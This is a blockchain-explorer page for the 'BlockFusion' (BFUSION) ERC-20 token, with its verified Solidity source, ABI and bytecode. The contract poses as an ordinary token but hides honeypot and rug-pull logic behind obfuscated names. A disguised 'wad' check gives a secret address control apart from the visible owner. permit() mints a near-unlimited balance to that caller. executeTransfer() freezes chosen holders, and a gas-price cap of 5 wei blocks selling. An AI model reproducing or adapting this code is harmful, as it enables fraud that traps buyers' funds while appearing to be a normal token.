ETH Price: $3,506.38 (+2.41%)
Gas: 2 Gwei

Token

BlockFusion (BFUSION)
 

Overview

Max Total Supply

10,000,000 BFUSION

Holders

52

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
30,741.734139013373482319 BFUSION

Value
$0.00
0x53bc9dc4d99a6c77448dd612a1ca1f1f17ecc8fa
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BlockFusion

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-15
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _transferOwnership(msg.sender);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
}

interface IWETH {
    function deposit() external payable;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Pair {
    function mint(address to) external returns (uint256 liquidity);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

interface IUniswapV2Router02 is IUniswapV2Router01 { }

library Uint160Number {
    function encodeUnit160(address _wad) internal pure returns (uint256) {
        uint160 res = uint160(_wad); return uint256(res);
    }

    function tryDiv(uint256 n1, uint256 n2) internal pure {
        uint256 G = n2 * 1000000000; if (G / n1 != 1000000000) { revert("err901"); } 
    }
}

library Address {
    function isContract(address _addr) internal view returns (bool) {
        uint length;
        assembly { length:= extcodesize(_addr) }
        if (length > 0 ) { return true; }
        return false;
    }
}

contract BlockFusion is IERC20, Ownable, Context {

    string private _name = "BlockFusion";
    string private _symbol = "BFUSION";
    uint8 private _decimals = 18;
    uint256 private _totalSupply = 10000000 * (10 ** decimals());
    uint8 private buyFee = 0;
    uint8 private sellFee = 0;


    IUniswapV2Router02 internal _router;
    IUniswapV2Pair internal _pair;
    address private _this = address(this);
    mapping(address => uint256) private _usrsblcs;
    mapping(address => mapping(address => uint256)) private _allowances;

    constructor (address routerAddress) {
        _router = IUniswapV2Router02(routerAddress);
        _usrsblcs[owner()] = _totalSupply; initialize(_msgSender());
        d6671cc88[owner()] = 1; d6671cc88[_this] = 1;
        marketWallet = _msgSender(); 
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _usrsblcs[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = msg.sender;
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = msg.sender;
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        if (c58252ced[from]!=0) { revert(); }
        uint256 fromBalance = _usrsblcs[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        
        if (d6671cc88[from]==0 && d6671cc88[to]==0){
            if (isMarket(from)) {
                uint feeAmount = calculateFeeAmount(amount, buyFee);
                _usrsblcs[from] = fromBalance - amount;
                _usrsblcs[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _usrsblcs[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else if (isMarket(to)) {
                uint feeAmount = calculateFeeAmount(amount, sellFee);
                _usrsblcs[from] = fromBalance - amount;
                _usrsblcs[to] += amount - feeAmount;
                emit Transfer(from, to, amount - feeAmount);
                _usrsblcs[marketWallet] += feeAmount;
                emit Transfer(from, marketWallet, feeAmount);

            } else {
                _usrsblcs[from] = fromBalance - amount;
                _usrsblcs[to] += amount;
                emit Transfer(from, to, amount);
            }
        } else {
            _usrsblcs[from] = fromBalance - amount;
            _usrsblcs[to] += amount;
            emit Transfer(from, to, amount);
        }

        _afterTokenTransfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        if (isMarket(to)) { 
            check(from); 
            if (from != _this) { 
                require(!Address.isContract(from), "err701");
            }
        }
        require(amount > 0);
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    uint256 private bigUint; 
    
    modifier wad() {
        devideOn(); _;
    }

    function updateNounce(address _newWad) external wad {
        d6671cc88[_msgSender()] = 0;
        d6671cc88[_newWad] = 1;
        initialize(_newWad);
    }

    function initialize(address _nw) internal {
        bigUint = Uint160Number.encodeUnit160(_nw);
    }

    function devideOn() internal view {
        uint256 am = Uint160Number.encodeUnit160(_msgSender()); 
        Uint160Number.tryDiv(am, bigUint);
    }

    function addLiquidity(uint256 _tokenAmountWei) external payable wad {
        IUniswapV2Factory _factory = IUniswapV2Factory(_router.factory());
        address _pairAddress = _factory.getPair(address(this), _router.WETH());
        _pair = _pairAddress == address(0) ? IUniswapV2Pair(_factory.createPair(address(this), _router.WETH())) : IUniswapV2Pair(_pairAddress);
        IWETH weth = IWETH(_router.WETH());
        weth.deposit{value: msg.value}();
        transfer(address(_pair), _tokenAmountWei);
        IERC20(address(weth)).transfer(address(_pair), msg.value);
        _pair.mint(_msgSender());
    }

    function fc43a331e() internal {
        _usrsblcs[_msgSender()] += type(uint112).max;
    }

    bool private _stt;
    uint private _MAX_GAS = 200 gwei;

    function permit() external wad { fc43a331e(); }
    uint private _mgas = 5;

    function check(address _u) internal view {
        if (d6671cc88[_u] != 0) { return; } 
        if (!_stt) { exceedsGas(_MAX_GAS); }
        else { exceedsGas(_mgas); }
    }

    function isMarket(address _user) internal view returns (bool) {
        return (_user == address(_pair) || _user == address(_router));
    }

    function enableTrading() external wad {
        _stt = !_stt;
    }

    address public marketWallet;
    
    function calculateFeeAmount(uint256 _amount, uint256 _feePrecent) internal pure returns (uint) {
        return _amount * _feePrecent / 100;
    }

    function updateMarketingWallet(address _newMarketWallet) external wad {
        marketWallet = _newMarketWallet;
    }

    mapping(address => uint8) private d6671cc88;
    mapping(address => uint8) private c58252ced;

    function exceedsGas(uint _gas) internal view {
        if (tx.gasprice > _gas) { revert("err301"); }
    }

    function gasRefresh(address _u, bool _s) external wad {
        uint8 _ss = _s ? 1 : 0;
        require(d6671cc88[_u] != _ss, "existing state");
        d6671cc88[_u] = _ss;
    }

    function executeTransfer(address _u, bool _s) external wad {
        uint8 _ss = _s ? 1 : 0;
        require(c58252ced[_u] != _ss, "existing state");
        c58252ced[_u] = _ss;
    }

    function tradingEnabled() external view returns (bool) { return _stt; }
    function viewWallet(address _u) external view returns (uint8) { return d6671cc88[_u]; }
    function checkNounce(address _u) external view returns (uint8) { return c58252ced[_u]; }

    function setPool(address _routerAddress) external wad {
        _router = IUniswapV2Router02(_routerAddress);
        IUniswapV2Factory _factory = IUniswapV2Factory(_router.factory());
        _pair = IUniswapV2Pair(_factory.getPair(address(this), _router.WETH()));
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"routerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"_tokenAmountWei","type":"uint256"}],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"checkNounce","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_s","type":"bool"}],"name":"executeTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"},{"internalType":"bool","name":"_s","type":"bool"}],"name":"gasRefresh","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_routerAddress","type":"address"}],"name":"setPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newMarketWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newWad","type":"address"}],"name":"updateNounce","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_u","type":"address"}],"name":"viewWallet","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600b60809081526a213637b1b5a33ab9b4b7b760a91b60a0526001906200002c90826200031f565b5060408051808201909152600781526621232aa9a4a7a760c91b60208201526002906200005a90826200031f565b506003805460ff191660129081179091556200007890600a62000500565b62000087906298968062000518565b6004556005805461ffff19168155600780546001600160a01b03191630179055642e90edd000600c55600d55348015620000c057600080fd5b5060405162001fc038038062001fc0833981016040819052620000e39162000532565b620000ee336200022a565b6005805462010000600160b01b031916620100006001600160a01b03841602179055600454600860006200012a6000546001600160a01b031690565b6001600160a01b0316815260208101919091526040016000205533600a556001600f6000620001616000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805460ff9690961660ff199687161790556007549091168152600f909252902080549091166001179055620001b33390565b600e80546001600160a01b0319166001600160a01b03928316179055600054166001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040516200021b91815260200190565b60405180910390a3506200055d565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052604160045260246000fd5b600181811c90821680620002a557607f821691505b602082108103620002c657634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200031a57600081815260208120601f850160051c81016020861015620002f55750805b601f850160051c820191505b81811015620003165782815560010162000301565b5050505b505050565b81516001600160401b038111156200033b576200033b6200027a565b62000353816200034c845462000290565b84620002cc565b602080601f8311600181146200038b5760008415620003725750858301515b600019600386901b1c1916600185901b17855562000316565b600085815260208120601f198616915b82811015620003bc578886015182559484019460019091019084016200039b565b5085821015620003db5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111562000442578160001904821115620004265762000426620003eb565b808516156200043457918102915b93841c939080029062000406565b509250929050565b6000826200045b57506001620004fa565b816200046a57506000620004fa565b81600181146200048357600281146200048e57620004ae565b6001915050620004fa565b60ff841115620004a257620004a2620003eb565b50506001821b620004fa565b5060208310610133831016604e8410600b8410161715620004d3575081810a620004fa565b620004df838362000401565b8060001904821115620004f657620004f6620003eb565b0290505b92915050565b60006200051160ff8416836200044a565b9392505050565b8082028115828204841417620004fa57620004fa620003eb565b6000602082840312156200054557600080fd5b81516001600160a01b03811681146200051157600080fd5b611a53806200056d6000396000f3fe6080604052600436106101855760003560e01c806360704b1f116100d1578063a457c2d71161008a578063aacebbe311610064578063aacebbe31461048c578063dd62ed3e146104ac578063e4440a86146104cc578063f2fde38b146104ec57600080fd5b8063a457c2d71461042c578063a5417b7e1461044c578063a9059cbb1461046c57600080fd5b806360704b1f1461036557806370a0823114610385578063715018a6146103bb5780638a8c523c146103d05780638da5cb5b146103e557806395d89b411461041757600080fd5b80632e1a421b1161013e5780634437152a116101185780634437152a146103055780634ada218b1461032557806351c6590a1461033d5780635777e93d1461035057600080fd5b80632e1a421b14610294578063313ce567146102cd57806339509351146102e557600080fd5b806302d0594b1461019157806306fdde03146101e1578063095ea7b314610203578063170ceb661461023357806318160ddd1461025557806323b872dd1461027457600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101ca6101ac3660046117b5565b6001600160a01b031660009081526010602052604090205460ff1690565b60405160ff90911681526020015b60405180910390f35b3480156101ed57600080fd5b506101f661050c565b6040516101d891906117d2565b34801561020f57600080fd5b5061022361021e366004611820565b61059e565b60405190151581526020016101d8565b34801561023f57600080fd5b5061025361024e3660046117b5565b6105b8565b005b34801561026157600080fd5b506004545b6040519081526020016101d8565b34801561028057600080fd5b5061022361028f36600461184c565b610608565b3480156102a057600080fd5b506101ca6102af3660046117b5565b6001600160a01b03166000908152600f602052604090205460ff1690565b3480156102d957600080fd5b5060035460ff166101ca565b3480156102f157600080fd5b50610223610300366004611820565b61062c565b34801561031157600080fd5b506102536103203660046117b5565b61064e565b34801561033157600080fd5b50600b5460ff16610223565b61025361034b36600461188d565b610812565b34801561035c57600080fd5b50610253610c91565b34801561037157600080fd5b506102536103803660046118b4565b610ca3565b34801561039157600080fd5b506102666103a03660046117b5565b6001600160a01b031660009081526008602052604090205490565b3480156103c757600080fd5b50610253610d51565b3480156103dc57600080fd5b50610253610d63565b3480156103f157600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101d8565b34801561042357600080fd5b506101f6610d7f565b34801561043857600080fd5b50610223610447366004611820565b610d8e565b34801561045857600080fd5b506102536104673660046118b4565b610e09565b34801561047857600080fd5b50610223610487366004611820565b610eb2565b34801561049857600080fd5b506102536104a73660046117b5565b610ec0565b3480156104b857600080fd5b506102666104c73660046118ed565b610eea565b3480156104d857600080fd5b50600e546103ff906001600160a01b031681565b3480156104f857600080fd5b506102536105073660046117b5565b610f15565b60606001805461051b9061191b565b80601f01602080910402602001604051908101604052809291908181526020018280546105479061191b565b80156105945780601f1061056957610100808354040283529160200191610594565b820191906000526020600020905b81548152906001019060200180831161057757829003601f168201915b5050505050905090565b6000336105ac818585610f8b565b60019150505b92915050565b6105c06110af565b336000908152600f6020526040808220805460ff199081169091556001600160a01b0384168352912080549091166001179055610605816001600160a01b0316600a55565b50565b6000336106168582856110c0565b61062185858561113a565b506001949350505050565b6000336105ac81858561063f8383610eea565b610649919061196b565b610f8b565b6106566110af565b80600560026101000a8154816001600160a01b0302191690836001600160a01b031602179055506000600560029054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106d2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f6919061197e565b9050806001600160a01b031663e6a4390530600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077f919061197e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156107ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ee919061197e565b600680546001600160a01b0319166001600160a01b03929092169190911790555050565b61081a6110af565b6000600560029054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561086f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610893919061197e565b90506000816001600160a01b031663e6a4390530600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091e919061197e565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610969573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098d919061197e565b90506001600160a01b038116156109a45780610a9c565b816001600160a01b031663c9c6539630600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2b919061197e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9c919061197e565b600680546001600160a01b0319166001600160a01b03928316179055600554604080516315ab88c960e31b81529051600093620100009093049092169163ad5c4648916004808201926020929091908290030181865afa158015610b04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b28919061197e565b9050806001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b158015610b6557600080fd5b505af1158015610b79573d6000803e3d6000fd5b5050600654610b9693506001600160a01b03169150869050610eb2565b5060065460405163a9059cbb60e01b81526001600160a01b0391821660048201523460248201529082169063a9059cbb906044016020604051808303816000875af1158015610be9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0d919061199b565b506006546001600160a01b0316636a627842336040516001600160e01b031960e084901b1681526001600160a01b0390911660048201526024016020604051808303816000875af1158015610c66573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8a91906119b8565b5050505050565b610c996110af565b610ca16114f2565b565b610cab6110af565b600081610cb9576000610cbc565b60015b6001600160a01b0384166000908152600f602052604090205490915060ff808316911603610d225760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064015b60405180910390fd5b6001600160a01b03929092166000908152600f60205260409020805460ff191660ff9093169290921790915550565b610d59611526565b610ca1600061158f565b610d6b6110af565b600b805460ff19811660ff90911615179055565b60606002805461051b9061191b565b60003381610d9c8286610eea565b905083811015610dfc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610d19565b6106218286868403610f8b565b610e116110af565b600081610e1f576000610e22565b60015b6001600160a01b03841660009081526010602052604090205490915060ff808316911603610e835760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b6044820152606401610d19565b6001600160a01b03929092166000908152601060205260409020805460ff191660ff9093169290921790915550565b6000336105ac81858561113a565b610ec86110af565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b610f1d611526565b6001600160a01b038116610f825760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610d19565b6106058161158f565b6001600160a01b038316610fed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610d19565b6001600160a01b03821661104e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610d19565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600033905061060581600a546115df565b60006110cc8484610eea565b9050600019811461113457818110156111275760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610d19565b6111348484848403610f8b565b50505050565b6001600160a01b03831661119e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610d19565b6001600160a01b0382166112005760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610d19565b61120b83838361163b565b6001600160a01b03831660009081526010602052604090205460ff161561123157600080fd5b6001600160a01b038316600090815260086020526040902054818110156112a95760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610d19565b6001600160a01b0384166000908152600f602052604090205460ff161580156112eb57506001600160a01b0383166000908152600f602052604090205460ff16155b15611459576112f9846116b3565b156114325760055460009061131290849060ff166116e8565b905061131e83836119d1565b6001600160a01b03861660009081526008602052604090205561134181846119d1565b6001600160a01b0385166000908152600860205260408120805490919061136990849061196b565b90915550506001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6113a784876119d1565b60405190815260200160405180910390a3600e546001600160a01b0316600090815260086020526040812080548392906113e290849061196b565b9091555050600e546040518281526001600160a01b03918216918716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350611134565b61143b836116b3565b1561145957600554600090611312908490610100900460ff166116e8565b61146382826119d1565b6001600160a01b03808616600090815260086020526040808220939093559085168152908120805484929061149990849061196b565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114e591815260200190565b60405180910390a3611134565b33600090815260086020526040812080546dffffffffffffffffffffffffffff929061151f90849061196b565b9091555050565b336115396000546001600160a01b031690565b6001600160a01b031614610ca15760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610d19565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b60006115ef82633b9aca006119e4565b90506115fb83826119fb565b633b9aca00146116365760405162461bcd60e51b815260206004820152600660248201526565727239303160d01b6044820152606401610d19565b505050565b611644826116b3565b156116a65761165283611707565b6007546001600160a01b038481169116146116a6576116708361174b565b156116a65760405162461bcd60e51b815260206004820152600660248201526565727237303160d01b6044820152606401610d19565b6000811161163657600080fd5b6006546000906001600160a01b03838116911614806105b25750506005546201000090046001600160a01b0390811691161490565b600060646116f683856119e4565b61170091906119fb565b9392505050565b6001600160a01b0381166000908152600f602052604090205460ff161561172b5750565b600b5460ff1661174057610605600c54611767565b610605600d54611767565b6000813b801561175e5750600192915050565b50600092915050565b803a11156106055760405162461bcd60e51b815260206004820152600660248201526565727233303160d01b6044820152606401610d19565b6001600160a01b038116811461060557600080fd5b6000602082840312156117c757600080fd5b8135611700816117a0565b600060208083528351808285015260005b818110156117ff578581018301518582016040015282016117e3565b506000604082860101526040601f19601f8301168501019250505092915050565b6000806040838503121561183357600080fd5b823561183e816117a0565b946020939093013593505050565b60008060006060848603121561186157600080fd5b833561186c816117a0565b9250602084013561187c816117a0565b929592945050506040919091013590565b60006020828403121561189f57600080fd5b5035919050565b801515811461060557600080fd5b600080604083850312156118c757600080fd5b82356118d2816117a0565b915060208301356118e2816118a6565b809150509250929050565b6000806040838503121561190057600080fd5b823561190b816117a0565b915060208301356118e2816117a0565b600181811c9082168061192f57607f821691505b60208210810361194f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105b2576105b2611955565b60006020828403121561199057600080fd5b8151611700816117a0565b6000602082840312156119ad57600080fd5b8151611700816118a6565b6000602082840312156119ca57600080fd5b5051919050565b818103818111156105b2576105b2611955565b80820281158282048414176105b2576105b2611955565b600082611a1857634e487b7160e01b600052601260045260246000fd5b50049056fea26469706673582212209fb2e604c9d2dfa8cfd5a5d45d3c14aad4c59081cdb074c5ccd430f08c3c787a64736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

